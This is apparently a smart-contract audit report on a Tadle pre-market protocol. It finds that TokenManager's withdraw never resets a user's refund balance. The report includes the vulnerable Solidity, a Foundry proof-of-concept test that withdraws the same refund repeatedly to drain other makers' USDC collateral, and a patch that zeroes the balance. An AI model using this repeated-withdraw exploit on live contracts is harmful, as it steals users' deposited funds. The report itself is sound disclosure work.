Summary
After a user creates an offer, they are able to close it as long as it is protected or it is the original offer. Their corresponding refund amount is calculated and passed into the token manager contract through TokenManager::addTokenBalance. This function is responsible for updating the user's token balance for the corresponding token and indicating that this is a balance refund. An issue arises when withdrawing this refund because the users token balance is not updated. A user can continue to withdraw if there are other tokens in CapitalPool. If other user's have claimable refunds for the same token, such as usdc, a malicious attacker could front run their withdraw and drain all maker refund tokens in CapitalPool.
Vulnerability Details
When a user decides to create an offer through PreMarkets::createOffer, they will send their collateral amount into the CapitalPool contract through TokenManager::tillIn.
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.tillIn{value: msg.value}(
_msgSender(),
params.tokenAddress,
transferAmount,
false
);
Their corresponding maker, offer, and stock address mapping will then be updated accordingly. This info is used to decide if they are able to close their offer in closeOffer. When closing the offer, their refund amount will be calculated and the corresponding amount will be sent to TokenManager to update their balances.
if (
makerInfo.offerSettleType == OfferSettleType.Protected ||
stockInfo.preOffer == address(0x0)
) {
uint256 refundAmount = OfferLibraries.getRefundAmount(
offerInfo.offerType,
offerInfo.amount,
offerInfo.points,
offerInfo.usedPoints,
offerInfo.collateralRate
);
ITokenManager tokenManager = tadleFactory.getTokenManager();
tokenManager.addTokenBalance(
TokenBalanceType.MakerRefund,
_msgSender(),
makerInfo.tokenAddress,
refundAmount
);
}
offerInfo.offerStatus = OfferStatus.Canceled;
emit CloseOffer(_offer, _msgSender());
The balance for the maker will be updated for the given token and balance type which in this case would be a maker refund
function addTokenBalance(
TokenBalanceType _tokenBalanceType,
address _accountAddress,
address _tokenAddress,
uint256 _amount
) external onlyRelatedContracts(tadleFactory, _msgSender()) {
userTokenBalanceMap[_accountAddress][_tokenAddress][
_tokenBalanceType
] += _amount;
emit AddTokenBalance(
_accountAddress,
_tokenAddress,
_tokenBalanceType,
_amount
);
}
The balance mapping is used to check if the user is entitled to a claimable amount when calling the withdraw function. claimAbleAmount will indicate the refund amount the user is entitled to in the CapitalPool contract. The problem is the state of the user's mapping is never updated after withdrawing their refund amount. They can continuously call withdraw as long as the amount of tokens they were entitled to initially is in the CapitalPool contract.
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
POC
Take the given scenario
3 makers create an offer using USDC as collateral
User 1 decides to close their offer
User 1 calls withdraw and gets their refund
User 1 calls withdraw again
User 1 can withdraw extra usdc that was deposited by User 2 and 3 as collateral
One of the other users closes their offer
When attempting to withdraw the refund amount they are entitled to, the contract will revert with 'ERC20InsufficientBalance' as there is no collateral left in CapitalPool
See the following test I added in PreMarkets.t
function test_withdraw_vulnerability() public {
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
capitalPool.approve(address(mockUSDCToken));
vm.startPrank(user);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user2);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user3);
preMarktes.createOffer(
CreateOfferParams(
marketPlace,
address(mockUSDCToken),
1000,
0.01 * 1e18,
12000,
300,
OfferType.Ask,
OfferSettleType.Turbo
)
);
vm.stopPrank();
vm.startPrank(user);
address stockAddr1 = GenerateAddress.generateStockAddress(0);
address offerAddr1 = GenerateAddress.generateOfferAddress(0);
preMarktes.closeOffer(stockAddr1, offerAddr1);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.stopPrank();
vm.startPrank(user2);
address stockAddr2 = GenerateAddress.generateStockAddress(1);
address offerAddr2 = GenerateAddress.generateOfferAddress(1);
preMarktes.closeOffer(stockAddr2, offerAddr2);
vm.expectRevert();
tokenManager.withdraw(address(mockUSDCToken), TokenBalanceType.MakerRefund);
vm.startPrank(user2);
}
Impact
User's collateral can be drained from CapitalPool and they will be unable to withdraw
Tools Used
Manual Review
Recommendations
Once the withdraw is complete the user's token balance mapping should be updated to 0
/**
* @notice Withdraw
* @dev Caller must be owner
* @param _tokenAddress Token address
* @param _tokenBalanceType Token balance type
*/
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
if (_tokenAddress == wrappedNativeToken) {
/**
* @dev token is native token
* @dev transfer from capital pool to msg sender
* @dev withdraw native token to token manager contract
* @dev transfer native token to msg sender
*/
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount);
} else {
/**
* @dev token is ERC20 token
* @dev transfer from capital pool to msg sender
*/
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
+ userTokenBalanceMap[_msgSender()][
+ _tokenAddress
+ ][_tokenBalanceType] = 0;
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
